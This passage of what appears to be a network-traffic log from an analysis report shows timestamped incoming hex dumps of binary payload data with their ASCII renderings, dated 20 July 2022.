f2 a3 0a 8b 1a e9 67 0b a8 bb 0d 13 7a bf 77 b9 ff 00 3d 67 31 4c 7c 9d a6 6c 76 e2 44 36 29 be f2 9f 45 77 3d 64 9f 89 59 7f 8a 76 d1 32 2b 45 ee fb 9b 02 ca bc cb f0 a9 f0 97 08 32 25 b7 77 b2 Data Ascii: v\webWpfaF5:27)ylW v7YI\|h[{,8" 6j\|g7#N^HX[d.?cO7VAiJi4&nEA*?cegagzw=g1L\|lvD6)Ew=dYv2+E2%w
2022-07-20 11:24:37 UTC	5095	IN	Data Raw: af 20 1f 11 94 c5 de 64 da 07 65 7f 9b e2 a7 bc b3 97 e3 63 48 40 70 8c db c5 49 e9 66 f0 c5 dd a7 77 92 0e f8 94 89 91 a4 67 dc 6c 70 cd 61 4f 3e 1f ee 7d 9d 02 6e 6a de 02 80 c8 e5 eb 8c eb 2c 32 9d 08 c0 b0 27 b0 bf 57 f6 e9 b6 76 22 64 b4 72 40 59 89 5d cd a5 a3 d4 c5 75 3c 9a 7d 62 7f a7 4a 39 aa 0e 5d cc 1c de f8 f2 c4 aa e5 8e a4 13 12 ff 00 af 15 73 95 e4 4a 21 3c 09 83 86 6b 16 e9 28 9e 08 e3 ec 51 76 e3 f9 36 68 7b a1 d5 8e 44 5c d8 65 e5 ea 72 54 38 25 83 ae d6 dd a4 bf 3d eb 8b 2a 18 72 58 e4 02 8c 52 34 1b a8 fb b1 e8 8f 87 eb 1f eb d2 bc 0f 97 9a 28 78 d2 c9 1c 31 90 75 06 bf 15 3b ba 25 4d cf b1 5a 3e 60 89 fe ee 85 f5 44 b8 f8 f7 dc 03 5b 5c f8 97 5b ef a7 7e 90 73 7c ae 51 9c ca d1 b1 59 09 37 62 59 98 fd df 17 5b 55 99 e6 2c c2 28 fa ab Data Ascii: decH@pIfwglpaO>}nj,2'Wv"dr@Y]u<}bJ9]sJ!<k(Qv6h{D\erT8%=*rXR4(x1u;%MZ>`D[\[~s\|QY7bY[U,(
2022-07-20 11:24:37 UTC	5111	IN	Data Raw: e1 78 fc fa ae f3 08 98 23 d9 95 93 3c f8 7f c4 4f 3d 35 5c 3e cb 83 e8 7e 5a 4f 85 1c ac 40 9a c4 1d b7 04 6c f3 5e ac cc 8a 37 7b 5b 7b 49 0a 0e c5 3e 87 9c 94 3c 41 d6 50 91 a3 b4 c0 80 14 0e 93 7e c7 a5 4f 39 7f 2d 39 73 99 79 a4 12 26 3c 4b d7 b9 bc e7 44 5e 7f f8 74 2c 48 6c bc 2d c9 fd 4a b0 08 c6 d4 8a 28 62 12 a6 c0 19 88 b8 e9 d2 2f bd 4c 1b e5 ec dc 99 75 42 92 49 ab 51 01 57 4e c5 fc 69 ab 7b cb 79 56 90 15 84 31 98 f6 46 02 0d 40 7d e3 3f b4 e2 3f de 51 3c e2 5f 82 58 df 44 8d 3d 88 dd ec bd ff 00 6e ab c5 de 19 a4 64 42 13 a6 99 65 2f c2 a9 d3 65 63 39 1f 29 81 01 13 a3 17 d4 10 a8 3a 63 5e f3 34 f3 27 ae 92 6d 54 f7 0f 93 e2 f2 c8 25 c7 c5 2e 1a 56 0c 6e c4 ae ce f6 f5 1f c9 da 4c a8 a3 3c 31 1c 8e db 41 1f 6e 8c c9 82 1c 86 68 d8 28 64 3a Data Ascii: x#<O=5\>~ZO@l^7{[{I><AP~O9-9sy&<KD^t,Hl-J(b/LuBIQWNi{yV1F@}??Q<_XD=ndBe/ec9):c^4'mT%.VnL<1Anh(d:
2022-07-20 11:24:37 UTC	5118	IN	Data Raw: 7f ea f6 38 94 24 fc a3 1b 0b 95 64 cd 91 27 1a 63 d9 6d 46 db 37 20 dd f1 c7 5a 91 7f 2e d8 e2 77 65 68 fa 91 63 96 32 fe c5 28 97 06 c3 67 9a f4 0f 31 e6 38 18 41 86 1c b7 91 94 3a 91 de b9 de 83 29 7b 1a fc 15 35 e6 53 e7 e2 3f 08 10 8e da 5a fb f6 36 ec 69 f7 71 7e 85 64 e4 c2 94 32 4a 51 82 c9 72 a6 c7 4b 69 f6 9a 5b cd a6 1c 86 77 c6 ce 01 0b 5e e4 69 03 56 df 45 b7 19 6b 4e 4e d1 51 2e 0f 51 d7 de 64 f4 b0 c7 d1 b6 b4 1c 98 c9 8f 91 14 01 10 85 b9 27 a4 7f 3b d1 ad 5c 79 8a d2 97 66 0c 45 94 2a 0d 2b a4 7a cd 6c 8d df ac d3 e5 2c 79 2a d1 44 ca ec 41 90 b2 e8 ba 77 b8 7e 9d 1a 66 c9 32 ba c0 81 86 9b 8b b6 90 a1 75 6e 46 9e 65 67 4a ce ea 57 45 59 06 4c 3c db d4 6a 00 37 bb 13 e1 43 f3 9c b8 20 ca 96 09 d7 5a 4c 52 48 d6 ec 19 cc 83 44 9c 04 8f cf Data Ascii: 8$d'cmF7 Z.wehc2(g18A:){5S?Z6iq~d2JQrKi[w^iVEkNNQ.Qd';\yfE+zl,yDAw~f2unFegJWEYL<j7C ZLRHD
2022-07-20 11:24:37 UTC	5134	IN	Data Raw: 72 ac 7d ca c9 29 27 00 cd b9 16 5e dd 11 62 c3 96 be 7d 17 29 e6 d9 81 63 8e 09 02 9d 8a 4a 90 bd 3f d3 b7 4f b9 3f c9 1c c0 b3 ae 54 81 63 03 6a f6 98 f9 f1 d6 b1 b1 32 94 d9 4f 5e 95 b5 c7 ea d1 50 f2 99 24 4f 5d 2a 02 46 80 08 2c c3 eb f1 12 8f 3e ea 4b c7 d2 c3 d8 e5 f9 f2 d4 70 ea c7 f4 de b3 5f fe 29 60 e3 38 96 55 95 c2 8d a1 9b 73 fc af d4 d7 5a 3e 53 ca b9 4b 3a f0 f1 e2 1a 56 e6 eb 7d a7 f8 9b 94 62 62 c7 86 b6 70 ec c4 80 74 ef 2f a7 fb f4 bd f0 c3 e4 32 e3 48 c5 62 6d 41 10 ed de f1 6e f7 7d 67 0e 8a 18 67 ed ed 34 99 4f bb 8b 41 ce 95 d8 86 bd 89 03 cd cb 43 0c 19 71 e3 2b 8e 1a 26 62 f6 58 ed ba b7 d3 eb 27 93 47 aa 4a 2b 1f 2d b0 dd 30 b3 a5 8f e2 1d 75 a1 56 d8 47 d6 d0 d1 d4 84 f0 3e 97 75 66 24 95 64 2d a8 33 7b a8 bf 89 27 6e 97 66 72 Data Ascii: r})'^b})cJ?O?Tcj2O^P$O]*F,>Kp_)`8UsZ>SK:V}bbpt/2HbmAn}gg4OACq+&bX'GJ+-0uVG>uf$d-3{'nfr
2022-07-20 11:24:37 UTC	5150	IN	Data Raw: 18 86 00 77 fd 3f e9 c3 a4 fc cb 9f 43 3f 2d d3 14 2b 1b bb 58 1d 6c 64 fe 25 58 ec a1 9b d2 96 95 71 de cf 18 b1 a5 cd 28 62 14 82 a6 fb 2b 5b c9 22 5e 59 cb 51 f2 36 4d 21 bb 93 d2 5c f7 3f 97 4c 25 c8 29 8b f1 90 c2 f3 b2 02 0c 6b b3 55 fb db ff 00 77 5f 3c e5 5f 32 73 0e 5a ea d9 21 e5 88 0d 8a c0 ad bc 2d ad 96 9d e7 fc e7 97 cc 0c 70 72 95 bc ac 80 b9 b5 d9 4f 7e 18 97 d9 fa 72 d3 bb 4e d0 43 24 92 4c 51 f2 df cb 14 92 2f 53 07 fb 3a 60 6b a8 1a ab 53 cf 80 cb 95 91 cb c5 c1 50 0b c6 a0 ab 6d ee a3 bf 83 f9 75 c9 39 5e 33 e4 09 9d 04 ac 80 85 57 27 4a ea f3 28 51 ce 19 02 47 9e 8e 8c f6 bb 5a cb f6 e9 07 3f cf cd d4 f0 62 b0 58 6e 77 d3 74 b8 3d d9 65 fd ca 4c 73 5d b0 84 7f 2e 0e d6 7f 7b 14 9e bf b7 4c ca ca 6e 49 3e 5a 7f cd da 09 b2 23 18 e9 10 Data Ascii: w?C?-+Xld%Xq(b+["^YQ6M!\?L%)kUw_<_2sZ!-prO~rNC$LQ/S:`kSPmu9^3W'J(QGZ?bXnwt=eLs].{LnI>Z#
2022-07-20 11:24:37 UTC	5158	IN	Data Raw: 5c 69 50 3d 0e fb d6 a6 4c e8 00 e1 07 0c 40 b9 6b 1d 3b 7c f8 fd 5d 70 e0 ae 66 9e 32 21 d1 b5 76 ea 22 a2 29 8c 7a be 5f 25 11 5c b6 56 5b 1e 29 20 d0 03 09 01 dd b8 36 e1 ba fd ec 49 4c db 15 4c 3a e7 41 24 44 92 09 f5 6c 9f c4 58 bd 5c 9a 3d 0e c5 55 cd be 59 d2 b2 64 e0 92 18 c8 03 20 3e ad 41 f7 ba 7b 8e be f2 a7 83 06 5e 46 cc 87 1c 12 83 48 1b da 8f 79 df f6 2a e3 b8 28 1c 10 33 de bf 04 bf 33 f2 fb 2a 5e 16 60 79 97 77 fb 74 8b 21 73 39 75 e4 90 2e 56 13 90 43 37 4c 64 9d 28 9b ff 00 af 42 cb a3 2f 21 ce 9d 31 0e d8 1e 51 fd 3d 5d 6a 78 f0 e9 0e cd ea df 77 49 20 ea b7 6b 73 fc aa c7 f3 4c 3c 88 66 12 22 95 c4 9a e5 09 ec a3 7d df 19 3d e7 73 d6 55 ae d9 8c a4 e9 83 a8 e2 f3 7f e4 ab 31 f7 1c 8e 77 fc 3d 6a af 2b 0d 4f ac 8f 7e 32 6d 6b da 4d ee Data Ascii: \iP=L@k;\|]pf2!v")z_%\V[) 6ILL:A$DlX\=UYd >A{^FHy(33^`ywt!s9u.VC7Ld(B/!1Q=]jxwI ksL<f"}=sU1w=j+O~2mkM
2022-07-20 11:24:37 UTC	5174	IN	Data Raw: 1e 03 b4 92 8c 96 ba b3 06 8d 81 b3 5b b1 be c9 a7 d6 e9 a3 4e 92 e3 2b b1 dd 65 eb 76 d8 71 a6 7f e1 50 6b 62 ab f3 5a b3 59 5c 9a 2c c0 f3 60 4c 44 ae 49 68 dc 15 90 5f 7b d6 c3 fb 7e ca 98 f2 af 95 f1 f9 45 e7 9a 4e 24 96 da 7b 16 f1 70 f7 bb b4 fd 30 60 40 10 22 ec db f9 7d 2f 1d 53 cc 39 4e 3e 49 49 5c 12 c8 08 01 76 51 4f df 09 ce 31 8f e5 e2 c7 de 05 fb 4f a7 fe 9a 54 a4 65 35 27 26 a0 65 e4 38 79 98 bc 28 dd c4 6e 75 06 d6 4f d5 df f1 d5 90 e0 72 de 57 65 68 20 4d 4a 15 0b 1d ae c3 b5 eb 1f bf 46 88 e4 81 22 8e 05 22 2b 90 c2 c2 eb b3 75 f7 b7 e8 3c ec 35 91 f8 92 c5 1c f1 a7 76 d7 6b f8 b7 fd 5a 7e 25 2a 39 e4 8c 81 99 c1 f7 b7 c2 3f eb d1 11 fd 35 54 50 72 d5 24 06 13 c8 ec 4e 95 6b 9f d1 7f 75 e3 96 8d e5 c0 43 26 93 02 20 3b 01 b8 77 63 e9 2e Data Ascii: [N+evqPkbZY\,`LDIh_{~EN${p0`@"}/S9N>II\vQO1OTe5'&e8y(nuOrWeh MJF""+u<5vkZ~%*9?5TPr$NkuC& ;wc.
2022-07-20 11:24:37 UTC	5190	IN	Data Raw: 24 4c 16 6d 2a 3f fc 13 7e 3d 1f ca ac ee 22 3e 2c 8a 63 b3 5a 40 6e db 10 e8 3b ba fc c7 ad 1c fc ca 19 35 4d 90 89 0e 56 a3 6d 1b 9d 5e cd 74 b6 a8 e9 1d c3 60 85 82 75 b3 f8 9f b1 fd dd 74 58 31 20 1c 31 d8 be 6a f3 ac 33 6b c4 cc 49 61 8f 5d e2 d6 81 2c 5c 7a c6 7c d8 91 21 ed fb 34 aa f3 30 e3 78 99 84 c7 21 e2 60 18 31 ec af 61 3d 5a 77 bf 17 de d3 2f 96 79 8e 74 a8 f0 48 38 b0 35 83 29 3b e0 b9 f7 3a d7 82 d1 a2 f6 f8 9d ba e7 cc 18 f9 1c b7 8b 1c 7c 35 8d a3 20 95 5b b4 83 76 3d fe 23 71 22 e0 f8 3d 95 23 a0 55 4c 82 43 1a 36 92 22 a7 52 2c fc 8b 53 16 2c ea d8 e4 ca d9 5c d2 99 f1 61 99 09 92 d1 f4 29 b9 16 3e cf 82 fa 3c fe fd 64 f9 ac 63 1f 27 86 0d c0 24 8f c9 dd ad 8f c3 97 88 cb 15 89 8d 1d 49 3e 78 d4 af 37 f0 5f 7f cc ac c4 3c bd 72 22 93 Data Ascii: $Lm*?~=">,cZ@n;5MVm^t`utX1 1j3kIa],\z\|!40x!`1a=Zw/ytH85);:\|5 [v=#q"=#ULC6"R,S,\a)><dc'$I>x7_<r"
2022-07-20 11:24:37 UTC	5198	IN	Data Raw: 41 85 8e 56 02 22 53 72 4b 1b b1 3e 7c 9d fa e6 24 46 29 c6 d2 51 ae a5 d4 5a 40 3f 0b fe 4a ab 92 73 d8 39 da 15 41 a2 48 bb a4 6a 20 78 e9 8a a3 c2 bb a4 3b 5b 65 f7 6e 7c f6 aa ce e6 23 bd 97 f3 39 e4 f9 ff 00 97 bf 46 8a 2d a1 ac cf cf 59 b1 c3 14 78 58 f3 16 db bf 10 1e b0 af 71 a6 93 fe 9d 63 33 b1 99 74 95 06 da 7c 95 f5 b8 f0 15 a4 19 06 24 59 c6 d0 fa 46 c7 b6 8f af 49 b2 b9 d7 2e cb c9 7c 2e 6b 12 a8 56 21 5c ed 57 3d ed e5 ec 56 ac 1f 8b 81 61 14 5a 47 ac ab 1d 26 58 b2 25 89 d3 86 be 56 b1 b6 bd 2a 2e 7a ab 55 f2 19 45 cd 63 97 29 8d 63 4d 41 35 69 d6 d7 f0 27 b4 d3 e0 a3 7e 73 f9 5f 17 02 25 ce c2 6d 0a e6 da 6f 75 e8 f7 6f 59 8e 41 cd 97 93 66 0c a7 52 f6 56 16 eb bb 56 b4 92 af e2 7d 93 18 43 64 e3 15 53 ba f9 f9 2a a0 4e 93 8c b8 6b ec f3 Data Ascii: AV"SrK>\|$F)QZ@?Js9AHj x;[en\|#9F-YxXqc3t\|$YFI.\|.kV!\W=VaZG&X%V.zUEc)cMA5i'~s_%mouoYAfRVV}CdSNk
2022-07-20 11:24:37 UTC	5214	IN	Data Raw: 59 16 b8 a3 3c 4d 9f 96 d7 35 4b e6 89 94 2d e4 2a b7 1b 09 03 67 63 47 73 dd f1 37 fc ca a2 a1 af a6 b5 61 ac 7f 3d 54 f8 f1 5e cc d6 20 ed 27 65 b6 e9 f1 68 a5 79 aa b8 cc 62 94 16 62 76 5b bb f8 7e 9d 35 4c 9d 1a 9e 2b 2b 81 b3 56 f5 c6 e6 ee ff 00 63 d0 dc a0 27 c4 9b 25 83 5d d8 81 72 09 b6 f5 fb 5f 62 ad 42 6c db e6 cb 4b 75 be cd b5 e1 83 a1 42 85 5b da f6 f4 be eb ef 3b 15 c9 f1 12 25 24 11 a5 46 d2 0d bf e7 a9 c1 1d 81 5b 68 f2 5c df 6f 77 d9 ef 6b af 73 39 38 c8 b1 a7 b4 1b ce 6d db 6f 33 cd ef d1 86 6c c0 be 9c c6 98 00 b6 be 8a 5d 12 b0 16 62 01 bd 87 d3 56 e4 be 85 04 30 2d b0 5e a5 a5 4a 28 4b 95 d4 0e de d1 f1 6e fa 74 0e 4b eb 36 1a bc 9b 7a 6a c2 ef 1b d2 98 d8 57 35 1b ed 3b 0d 89 fc d4 4c 82 38 b2 1a 3d 5a 90 81 63 e5 d4 38 89 43 42 9a Data Ascii: Y<M5K-*gcGs7a=T^ 'ehybbv[~5L++Vc'%]r_bBlKuB[;%$F[h\owks98mo3l]bV0-^J(KntK6zjW5;L8=Zc8CB
2022-07-20 11:24:37 UTC	5230	IN	Data Raw: a1 4d ad 6e 83 d8 fe 5e 8a a1 d2 29 50 bc 9b ce 0f 41 fc bc 3a 1e 7c d6 88 aa a8 d4 d2 01 a5 88 f2 ff 00 7a ba f1 b9 9d 75 10 c3 48 da 06 cb 8e d5 42 a5 ad cb 52 48 a2 67 85 03 95 5b 1d 4f 70 47 46 9f 77 aa 97 64 03 09 e2 41 d9 17 24 30 06 d4 e2 53 1c 71 ac cb 6d 45 94 8b 74 6e ef cc c9 da fd 3a 5c d1 a3 ea 2c 4b 31 62 4e cd 84 77 6b a2 6f 4e cd 9e d5 43 0a 82 c2 52 05 63 d0 46 ab f5 ef 69 fd 4a ad db 88 57 a8 6d da 7c bf b7 44 12 4c 7a 09 16 5d 20 db a6 de 75 4a 18 75 ef 4a 37 47 5d 33 2b 5c 9a 1b 5e a4 ed c2 46 5b ea 65 04 6d 1b 35 0d 3f a7 54 18 25 86 25 ca 56 d2 0d c5 d4 e9 22 de 67 8d bc ca b2 77 72 fa 5c 58 b0 b1 b6 db f8 37 bd 1a 86 2c 65 2c 41 d2 e4 85 0a dd 9b b7 bd d5 27 b3 4e fa 54 0d 05 ff 00 a7 d6 a9 62 4e 95 21 1e 49 1a e0 25 9c 9b c9 aa db Data Ascii: Mn^)PA:\|zuHBRHg[OpGFwdA$0SqmEtn:\,K1bNwkoNCRcFiJWm\|DLz] uJuJ7G]3+\^F[em5?T%%V"gwr\X7,e,A'NTbN!I%
2022-07-20 11:24:37 UTC	5238	IN	Data Raw: 51 6d e6 e1 bb fe 1c 74 d2 a4 aa a9 39 06 5e 1e 7a 54 a1 90 b5 c0 8c 32 71 22 f5 99 97 d7 4f bc a1 30 e0 9e 5c e9 22 68 06 41 81 99 74 6d d3 fc 5d c6 4d 7b 94 e7 9f ca b0 98 f1 a3 52 b3 40 ca ea 1b a1 78 83 d8 43 f8 30 d4 33 7e 58 c9 9b 23 22 68 8b 09 35 6a 50 06 c9 2c ab bf 1c fa bb fe ee 95 73 3e 64 33 32 62 62 c5 a6 31 00 de 5b a6 ad 5a a9 56 e8 a9 c7 77 8a aa c0 23 dd 72 e1 82 0c a4 3b df 16 5f 87 9f cc f7 54 24 59 b2 ac eb 3e a2 24 0c 1a e3 66 da 9e 2e 06 4e 5c 9a e2 56 99 cb 13 b0 6a b9 ed ef 51 78 fc a5 73 6d 1c 6c a8 e4 5c 16 27 4f e8 d7 25 f8 ce 57 1b 42 a1 91 76 29 70 08 57 20 fb b9 7c 14 0b 27 51 14 ec 19 ef 3d 5d eb 07 20 45 82 49 c3 bf c2 d1 d5 b9 98 72 f3 ec 77 c4 c8 0b 1e 74 6f 78 b5 01 16 b1 bd c7 c6 ec f6 be ea 97 61 62 60 b0 4c 7d 3a 25 Data Ascii: Qmt9^zT2q"O0\"hAtm]M{R@xC03~X#"h5jP,s>d32bb1[ZVw#r;_T$Y>$f.N\VjQxsml\'O%WBv)pW \|'Q=] EIrwtoxab`L}:%
2022-07-20 11:24:37 UTC	5254	IN	Data Raw: 4f c8 30 a7 62 ef 0a ea 3d 24 0d a6 a9 cb f9 6f 0b 25 55 5d 34 e9 16 52 bb 0d be ad 38 26 bd 44 27 95 6d 66 6d 36 6f 57 62 2b 35 27 c9 78 4c 41 52 c0 8e 8d bf ad 55 cb f2 4c 4e 6e 24 20 f5 d6 a4 8b f4 9a f5 85 3b f9 de e0 0b 66 d6 a1 c1 6f 7a ca ff 00 f8 95 6b 68 9e c0 74 dc 5c da bc df 26 31 f7 a0 9b f5 8e aa d4 d8 57 b4 8a ef e7 a7 f3 7d 55 a9 c0 56 4d 3e 4b 91 1c 95 91 40 3d 76 24 d4 87 ca d9 3a 15 1e 40 42 5f 48 03 4d 81 ad 4e 91 5c d3 53 fc f4 de 27 ea d4 14 06 b0 d3 fc a7 9a ad 61 67 50 76 1a 87 fb 4e 7c 43 80 f0 92 b7 b8 23 6d 6e 99 5a a0 ca e6 9c 3f 10 90 e8 c1 1a 84 a0 35 f3 79 70 32 44 e6 59 61 7b a8 b6 d1 d3 e1 a0 9b 0a 68 1f 89 32 b0 2f f4 75 d7 d3 99 e4 5d 85 6f 50 66 57 ed c7 b4 55 a5 fc 49 80 b6 22 de ab 50 74 c0 24 f8 9a f9 d4 58 73 ec 7d Data Ascii: O0b=$o%U]4R8&D'mfm6oWb+5'xLARULNn$ ;fozkht\&1W}UVM>K@=v$:@B_HMN\S'agPvN\|C#mnZ?5yp2DYa{h2/u]oPfWUI"Pt$Xs}
2022-07-20 11:24:37 UTC	5270	IN	Data Raw: e7 ba 9b b9 5c 9d 47 47 2e 15 a7 26 9a 9f 0f 4f 2d 74 64 70 e6 e1 3d d9 d7 7b 67 66 8a 8f 36 5e 92 bf 9e a9 92 75 5b 47 b6 dd 44 7e f5 59 ad 9c 00 2f 65 e8 14 83 37 4c 91 16 51 01 bc be 66 6f 5e 88 d8 f8 57 83 33 ed 3b 49 35 d5 de 37 35 ed 42 c0 30 de eb 35 00 e7 b3 71 6e a1 d1 55 c8 17 b9 39 13 bd f3 bd 7a 8a b9 88 b5 93 ff 00 de 6b bc 46 88 69 04 5b af ae 84 6e 61 1a 30 59 5b 77 f2 52 b6 f9 8a 38 d4 eb 0a 85 d8 88 ef b6 f6 f4 3b f5 65 03 92 5e 3d c2 77 6e 9b 98 ff 00 77 5d 8f a6 9a 73 0c a6 c4 80 bc 7e b1 f6 1d 1e 5b f8 6a b1 98 c1 2e c8 4b db a2 a3 8b 96 af 1a 96 20 1b 5e bd ae 01 27 12 e2 ef fd b4 96 37 d0 af 0f b5 53 6a 5e 60 cf 32 24 bc 60 a2 f7 d0 c3 50 02 dd 95 f3 aa c3 cc 26 85 95 9c 16 52 c1 49 02 c8 2f f5 b7 59 e8 dc 7c c8 72 2f c2 60 e1 49 eb Data Ascii: \GG.&O-tdp={gf6^u[GD~Y/e7LQfo^W3;I575B05qnU9zkFi[na0Y[wR8;e^=wnw]s~[j.K ^'7Sj^`2$`P&RI/Y\|r/`I
2022-07-20 11:24:37 UTC	5278	IN	Data Raw: ed 5e e2 82 2f a6 f5 0b b3 1b 00 49 3b 2d 5e 12 80 ba 4d ef 7f 2e cf af 53 8d 75 fc 2b b2 38 b7 41 17 fa 6a 46 7d 63 45 c8 fa 05 7b 48 eb 37 3e 42 2b 8e 40 e9 1b 47 46 da ed b5 22 bc 0a 9d 86 e4 ff 00 6d 49 55 58 5f 6e cf e9 a6 aa 89 83 12 74 ec 1e 4a b7 e2 06 38 d2 db 0f 4d 8f 4e de f2 e9 a9 2a 7c 2a 01 be 95 d4 58 ce c6 d9 73 46 1c 6b 9d 01 86 a0 2f d5 4b b8 ca fd 00 5b e9 af 32 d9 b5 2e cb f4 d0 15 27 c6 d5 34 54 70 b1 26 e4 6c ea bd ff 00 56 ba d8 ce 82 ec 40 5f 28 a0 2e c0 95 51 b4 74 d5 a9 3c 9a 74 b9 36 1d 5e 5a 92 8d e9 15 df 9e ac 64 d7 da 04 93 d1 b6 db 3d 1d 35 0e 13 25 b6 12 3a ad 5e 19 0a 0e dd 83 c9 52 32 c8 c0 3a ec 06 bb 51 f9 ab 85 42 6c e9 55 d5 02 b1 1e 5e 9a 92 b3 2b 6b f2 f9 2b af 21 be dd a3 fa 6e b5 74 ac 86 da 74 91 d4 07 47 d6 ae Data Ascii: ^/I;-^M.Su+8AjF}cE{H7>B+@GF"mIUX_ntJ8MN\|XsFk/K[2.'4Tp&lV@_(.Qt<t6^Zd=5%:^R2:QBlU^+k+!nttG
2022-07-20 11:24:37 UTC	5294	IN	Data Raw: 5a 32 34 85 81 50 7a 7c 83 bb 55 c6 89 09 e1 c2 55 14 dd ad d2 4e ad ee 27 da a1 64 80 4b 2e ea 82 36 87 b1 22 df 5d 3f d5 e1 d7 31 24 90 a8 05 77 8b 30 1d 3a ac bf 8b 2a 45 ab 73 c7 50 22 5c 32 07 da 8e 86 c6 e4 54 c6 44 cc 03 c8 11 a3 37 d4 a0 ef e9 5e c7 0d 74 fa c7 d5 40 1e 71 c3 68 f1 49 5c 66 3b 6c ca 49 b5 f5 f6 fd 9c 52 ba 77 29 94 92 29 1c 1c a5 3a 48 3b 54 6f 0f 3f 8c bb 95 e0 b8 59 5a 59 08 74 ec 85 24 15 27 77 4f ab fb c4 ab 29 db 86 8c c8 b8 c8 a8 32 2a 9c 69 fd dc 9f 12 98 37 46 bf a2 86 93 98 c8 92 6a 20 34 62 e1 0a ef 6a d5 f7 ad ee ea fc 3c 81 3d ec 0a 10 01 40 de 13 da d0 8b fa f5 56 7c 99 51 1b 62 40 b2 a3 76 8e ad 1a 7c 5f c5 93 cc a8 e2 63 4f 34 42 24 d1 1a c5 d3 a9 b6 f9 ea d9 09 ad df 89 fc ba 5c 70 89 54 05 c1 5d b7 51 72 df 6f 99 Data Ascii: Z24Pz\|UUN'dK.6"]?1$w0:EsP"\2TD7^t@qhI\f;lIRw)):H;To?YZYt$'wO)2i7Fj 4bj<=@V\|Qb@v\|_cO4B$\pT]Qro
2022-07-20 11:24:37 UTC	5310	IN	Data Raw: f6 5a f4 f0 b2 c0 ec 58 83 2c aa bb 7a d4 a8 fb bd 5e 7d 07 97 91 26 4c 17 c6 37 25 b6 1d 85 86 ce 24 53 2f 8d 78 9b 94 9a 5c 85 96 51 90 9a e3 76 60 49 54 66 6d 7d 96 5e 26 e6 37 f4 96 a1 ca f3 67 c2 59 22 95 9b 8d a8 92 b6 5d 97 de fe 9c 39 29 af db a8 25 97 79 57 48 d6 4e 3f 6e 99 d3 03 ff 00 d6 8a 49 b2 a0 c6 8f 8e 08 91 d5 d8 6b 52 83 cf 81 1b c5 ef 3d 67 0f f0 eb b8 d8 ed 1c 44 c5 24 8d 20 0b ad b6 6d bf ac 8a 46 f3 2a ec 6e 69 1c d0 a6 d2 91 dc 69 57 0d 72 1b 77 bf af b7 ed 22 9b f9 74 26 36 5a 97 42 d1 b0 65 dd b1 1a b7 3d c4 9e af 73 5f f1 91 3f 0a 84 83 ad 97 1f 16 14 04 58 d3 97 79 15 24 90 4a 0b ad cb 58 5b 75 7f 0e 97 9c 7c b5 55 6c 61 a4 b2 b1 ba 91 b0 bf 63 8c 9d d8 b4 c7 f8 9e 65 71 f8 4f 90 c7 4b 17 d3 ba e0 d9 b7 b7 74 af bb f3 3b 1f 77 Data Ascii: ZX,z^}&L7%$S/x\Qv`ITfm}^&7gY"]9)%yWHN?nIkR=gD$ mF*niiWrw"t&6ZBe=s_?Xy$JX[u\|UlaceqOKt;w
2022-07-20 11:24:37 UTC	5313	IN	Data Raw: 6d 5a 16 50 2c 31 47 fe bd 6d c9 d8 11 77 8b 83 c3 2a 62 b3 2c 23 8b 32 ee a9 b5 cb 69 8d 88 67 5f 5d 2b 54 67 cd f8 c9 74 b2 0e 2b 95 d2 c8 7d 5e 83 ba 88 8f e0 dc ab 39 54 70 c7 11 48 65 9b 44 a3 49 46 3a 95 c9 55 d7 ea bd 97 99 ec fe ea a9 4c 33 04 c7 2b 24 07 0b ba a5 4b 2a dc 0d d5 68 9f 47 72 bc fc 91 a4 6e ca 72 ea a6 e9 e5 df f2 26 fd 66 14 65 24 37 85 53 8b cb 0c d8 b2 48 fa 84 e0 dd 00 3e cc 6a d0 ff 00 11 1f b4 ee 3e 8f e1 d1 8b ca a2 38 b7 79 19 9c 76 4f 42 03 d8 df af 20 c8 c7 32 32 90 71 9b 79 b4 df 71 98 6f 77 77 f7 3f 89 eb 3d 65 11 81 84 64 90 47 ac 34 24 81 e4 31 ec fb be e3 ea ec 71 3f 89 49 92 46 d4 e5 65 be 62 df e9 d7 63 e8 aa e5 ca 83 06 22 d1 8d 2c 36 95 3d f3 e0 e2 7f 4e 1d 03 0f 30 8c 33 68 46 06 4d e4 1b 35 6d df ec 2f 62 8e c2 Data Ascii: mZP,1Gmwb,#2ig_]+Tgt+}^9TpHeDIF:UL3+$KhGrnr&fe$7SH>j>8yvOB 22qyqoww?=edG4$1q?IFebc",6=N03hFM5m/b
2022-07-20 11:24:37 UTC	5329	IN	Data Raw: 3c 4f 68 dd fa 0b 37 92 66 f2 e4 2d 93 0b 22 ea d2 49 e8 bd 6c 79 fc 93 47 72 ba 96 34 6d 37 1d b2 bd b5 d7 c4 ec 3f b4 8d 26 d1 eb 7d 9d 29 86 79 b0 90 95 95 89 98 6e 82 37 45 bd 97 17 f1 97 cc ab 0b db 64 2e 0d 26 f3 4a 3a 86 db da 28 b5 66 d2 42 14 0b d4 a3 93 71 81 fa 2b 41 9d f2 fc 59 6c 65 c7 22 27 6b 9d 37 f5 6c df 85 df 8b 88 ff 00 79 b9 45 62 72 a4 e4 a8 5d 02 cf 3b 01 66 61 b2 3d 9e b7 73 b3 40 b0 c8 1e df f5 a2 13 1d 05 b7 ab 37 8c ef 01 d4 c0 e8 3e 51 ba de 65 1b 8f 99 1c 6a cb 16 c6 6b 8f a2 de 65 35 51 8d 8f 03 a6 74 9c 5e 21 db 18 3d 8f 06 8f 07 f1 53 f8 74 8b 99 08 f1 f2 5a 28 c1 55 4d 96 6e d5 59 5b c5 b7 79 2a 43 07 d1 86 8a 76 f9 a8 b9 f3 99 f6 dc 96 b8 e9 db b7 f7 2a 03 98 3a b5 ec 2e 2d b4 0d 36 f1 76 29 77 14 96 da 6a 70 2b cc eb 1a Data Ascii: <Oh7f-"IlyGr4m7?&})yn7Ed.&J:(fBq+AYle"'k7lyEbr];fa=s@7>Qejke5Qt^!=StZ(UMnY[yCv:.-6v)wjp+
